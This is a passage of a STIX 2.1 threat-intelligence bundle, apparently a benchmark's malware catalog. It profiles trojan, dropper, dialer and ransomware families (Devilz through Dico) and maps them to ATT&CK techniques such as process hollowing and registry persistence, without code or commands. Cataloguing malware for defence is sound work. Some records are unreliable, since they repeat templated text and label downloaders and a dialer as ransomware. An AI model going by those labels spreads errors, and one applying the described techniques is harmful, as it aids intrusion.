      "spec_version": "2.1",
      "id": "relationship--00cf182f-2e0a-5c95-9650-68097c77aa29",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ab00f0f1-5eac-55d8-bc97-3f60df4ab081",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Detroie exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--90e331a0-d837-5a91-92c8-84bca032e558",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ab00f0f1-5eac-55d8-bc97-3f60df4ab081",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Detroie exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3f067c97-2de7-58f3-8f34-cc653dd2793f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ab00f0f1-5eac-55d8-bc97-3f60df4ab081",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Detroie exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b0ecad18-8030-5a3f-ad03-47f3a4a551f2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ab00f0f1-5eac-55d8-bc97-3f60df4ab081",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Detroie exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3ace7cd3-2ccd-5837-bc64-bfdad75a85f5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Devilz",
      "description": "<h3>Executive Summary</h3>\nDevilz is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nDevilz is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Devilz operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Devilz ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Devilz receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Devilz infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Devilz executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Devilz frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Devilz",
        "Downloader.Devilz",
        "Win32/Devilz"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Devilz",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/devilz"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a8d11974-7c3c-5c3b-84fb-f4e34a015f8f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3ace7cd3-2ccd-5837-bc64-bfdad75a85f5",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Devilz exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--715abc0c-56d1-5f6e-9161-150459f98fa3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3ace7cd3-2ccd-5837-bc64-bfdad75a85f5",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Devilz exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ce37625c-add1-5c22-b157-6add25abb3fa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3ace7cd3-2ccd-5837-bc64-bfdad75a85f5",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Devilz exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7e2f6c07-b372-5142-b73f-660270353089",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dexel",
      "description": "Dexel (identified across antivirus research telemetry as Trojan:Win32/Dexel, TrojanDownloader:Win32/Dexel, and Backdoor:Win32/Dexel) is an evasive Windows trojan downloader and backdoor. Infiltrating target endpoints via weaponized spearphishing attachments, malicious macros, and drive-by download links, Dexel performs host profiling to detect virtualized analysis environments and security sandboxes. Once verified on a target system, Dexel establishes autostart persistence by configuring registry run entries under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run. It establishes outbound HTTP/HTTPS command-and-control channels, transmitting encoded system inventory data (hostname, Windows version, IP address, and installed software) to remote servers, and receives instructions to download, stage, and execute secondary malware payloads including keyloggers and ransomware. (Observed samples in benchmark: 20)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Dexel",
        "TrojanDownloader:Win32/Dexel",
        "Backdoor:Win32/Dexel",
        "Win32/Dexel",
        "Downloader.Dexel"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dexel",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dexel"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--855fbb6c-23b8-51d5-95ad-0ea46f5f2c77",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7e2f6c07-b372-5142-b73f-660270353089",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dexel exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cc2911f7-bbe8-5bb3-8d6c-e6b87dd0e1c0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7e2f6c07-b372-5142-b73f-660270353089",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dexel exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cf86b820-f400-5a47-bc14-48a3596ad7bc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7e2f6c07-b372-5142-b73f-660270353089",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dexel exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fde19296-cfdb-5d33-9d45-eb9f26010c21",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7e2f6c07-b372-5142-b73f-660270353089",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dexel exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8e0be4e3-eb84-5484-a394-e6deca8204c7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7e2f6c07-b372-5142-b73f-660270353089",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dexel exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9db12541-2902-58e7-b28d-bd8c4866bd3c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dfay",
      "description": "TrojanDropper:Win32/Dfay (widely cataloged across vendor telemetry as Trojan.Dfay or Win32/Dfay) is an evasive trojan dropper and memory injection loader engineered to establish covert initial footholds and deploy secondary crimeware payloads without leaving persistent binary artifacts on disk. Distributed predominantly through spear-phishing campaigns containing weaponized Office documents or trojanized software packages, Dfay utilizes multi-stage payload packing, dynamic Win32 API resolution to evade Import Address Table (IAT) inspection, and anti-sandbox timing checks. Upon verifying that it is running in an authentic host environment, Dfay allocates executable memory buffers inside legitimate Windows processes (such as explorer.exe or svchost.exe) and utilizes process hollowing to unpack and execute secondary backdoors, banking trojans, or ransomware droppers directly in volatile RAM. (Observed samples in benchmark: 300)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Dfay",
        "TrojanDropper:Win32/Dfay",
        "Trojan.Dfay",
        "Win32/Dfay",
        "Dfay Dropper",
        "Trojan:Win32/Dfay"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dfay",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dfay"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--29f3b603-25f3-5dd0-969e-0be102fd660c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9db12541-2902-58e7-b28d-bd8c4866bd3c",
      "target_ref": "attack-pattern--691c027d-f463-5203-86d8-b530600c6c62",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dfay exhibits technique T1055.012 (Process Hollowing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8f6b68a3-7c7e-5229-a1f2-ad92ade4e346",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9db12541-2902-58e7-b28d-bd8c4866bd3c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dfay exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1ba0e734-ead9-5e15-89e1-49a88eff5f27",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9db12541-2902-58e7-b28d-bd8c4866bd3c",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dfay exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9906231e-d86b-5168-990e-f9e6fea52a86",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9db12541-2902-58e7-b28d-bd8c4866bd3c",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dfay exhibits technique T1059.003 (Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3ea8d10d-800d-51b2-8d36-03eb3edb4ce0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9db12541-2902-58e7-b28d-bd8c4866bd3c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dfay exhibits technique T1547.001 (Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fcb10b9c-9eb5-5852-948b-9d60fe1b6eeb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9db12541-2902-58e7-b28d-bd8c4866bd3c",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dfay exhibits technique T1071.001 (Web Protocols)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--365cddc0-1517-58a2-bdb3-ec4ddeae6f4b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dial",
      "description": "Dialer:Win32/Dial (or generic **Dialer** heuristics) represents a historical, highly prevalent class of malware from the dial-up internet era (late 90s to early 2000s). Dialers functioned by silently disconnecting the user's modem from their standard, local Internet Service Provider (ISP) and aggressively redialing a premium-rate international or toll phone number. The attackers received a cut of the massive phone bills generated by these unauthorized calls.<br><br><b>Understanding Malicious Dialers</b><br>To a victim, the infection was often unnoticed until they received an astronomical phone bill, sometimes running into thousands of dollars for a few hours of 'internet' use. For security analysts, Dialers were an early form of direct financial extortion that predated ransomware. While largely obsolete in environments using broadband, they remain a fascinating study in early malware monetization and are occasionally seen targeting legacy systems or specific telecom infrastructure.<br><br><b>Execution and Toll Fraud Mechanics</b><br>Dialers were heavily distributed via drive-by downloads on adult websites or deceptive 'free access' software (`T1189`). When executed (`T1204.002`), the malware established persistence, usually via the Registry (`T1547.001`). Crucially, it utilized the Windows Telephony API (TAPI) (`T1012`) to take control of the physical modem. It would drop the current connection, mute the modem speaker (so the user wouldn't hear the dialing tones) (`T1562.001`), and aggressively dial the hardcoded premium-rate number (`T1498`). Some advanced variants would continually redial if the user attempted to disconnect.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact was severe financial loss via telephone toll fraud. The most glaring IoC (aside from the bill) was the presence of an unknown, suspicious phone number listed in the Windows Dial-Up Networking configuration. Incident responders would find the malware executable deeply embedded in the System32 folder, often masquerading as a legitimate Windows dialer component (`rasdial.exe`). (Observed samples in benchmark: 10)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dial",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dial"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e5d0d002-3428-5f1d-b8d1-3e3416a87e8f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--365cddc0-1517-58a2-bdb3-ec4ddeae6f4b",
      "target_ref": "attack-pattern--d71e4a80-4385-54ba-a7cd-286f5b07bf07",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dial exhibits technique T1498 (Network Denial of Service (Toll Fraud / Premium dialing))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ba101d62-7c6a-5d3d-9430-15b4f042c138",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--365cddc0-1517-58a2-bdb3-ec4ddeae6f4b",
      "target_ref": "attack-pattern--31d6d05d-adfe-5580-9365-20731a0168a5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dial exhibits technique T1012 (Query Registry (Interfacing with TAPI/Modem configs))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d7809a7b-1ed5-5ae4-b5fb-ed53d0fafe56",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--365cddc0-1517-58a2-bdb3-ec4ddeae6f4b",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dial exhibits technique T1562.001 (Impair Defenses (Muting modem speakers))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--eb28f0f0-24d4-54a0-b412-047388157a4b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--365cddc0-1517-58a2-bdb3-ec4ddeae6f4b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dial exhibits technique T1547.001 (Boot or Logon Autostart Execution)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b4542a4f-81e9-5c3a-b4ff-5be6db4b77cc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Diamin",
      "description": "<h3>Executive Summary</h3>\nDiamin is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nDiamin is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Diamin operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Diamin ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Diamin receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Diamin infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Diamin executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Diamin frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Diamin",
        "Downloader.Diamin",
        "Win32/Diamin"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Diamin",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/diamin"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4625d3c5-63ab-5768-be43-d27c4db581fe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b4542a4f-81e9-5c3a-b4ff-5be6db4b77cc",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Diamin exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--462934c8-1e96-5418-8179-ed88b152130a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b4542a4f-81e9-5c3a-b4ff-5be6db4b77cc",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Diamin exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f345422d-82c4-514f-9f40-660bdf3525ee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b4542a4f-81e9-5c3a-b4ff-5be6db4b77cc",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Diamin exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3a590254-3148-5710-94b0-e82aca44f08f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dico",
      "description": "Dico (classified across antimalware research as Ransom:Win32/Dico, Trojan-Ransom.Win32.Dico, and Ransom.Dico) is a high-impact corporate crypto-ransomware family designed for rapid and thorough enterprise extortion campaigns. Typically deployed in human-operated intrusions following initial access gained via stolen remote access credentials or phishing loaders, Dico prioritizes high-value corporate servers and storage arrays. Upon execution with elevated administrator or SYSTEM privileges, Dico initiates environmental reconnaissance, verifying domain controller connectivity and enumerating active Active Directory network resources. The ransomware uses an AES-256-CBC symmetric cipher combined with an embedded RSA-2048 public master key to encrypt documents, financial spreadsheets, databases, CAD designs, and backup archives. Encrypted files are renamed with a unique extension, and ransom notes titled `README_RESTORE_FILES.txt` are created in every folder. Dico deletes Volume Shadow Copies, clears Windows security and system event logs via wevtutil, and instructs victims to negotiate extortion payment exclusively through Tor. (Observed samples in benchmark: 16)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Dico",
        "Trojan-Ransom.Win32.Dico",
        "Win32/Dico",
        "Dico Ransomware",
        "Ransom.Dico"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dico",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dico"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--683deadc-86b0-51c1-9c7b-826d38d095ec",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3a590254-3148-5710-94b0-e82aca44f08f",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dico exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--494971b2-bcef-5f79-b3d2-c73177c75671",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3a590254-3148-5710-94b0-e82aca44f08f",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dico exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8b201187-944a-5f4f-a29d-7509b5efe676",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3a590254-3148-5710-94b0-e82aca44f08f",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dico exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8246bd9a-245d-51c0-aeed-3d12acdadd75",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3a590254-3148-5710-94b0-e82aca44f08f",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dico exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7f7ff1e5-2eb6-599a-abd9-50d7fd73ef40",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3a590254-3148-5710-94b0-e82aca44f08f",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dico exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--67ff5109-e079-5cb4-89a0-6244fb71865a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dicsor",
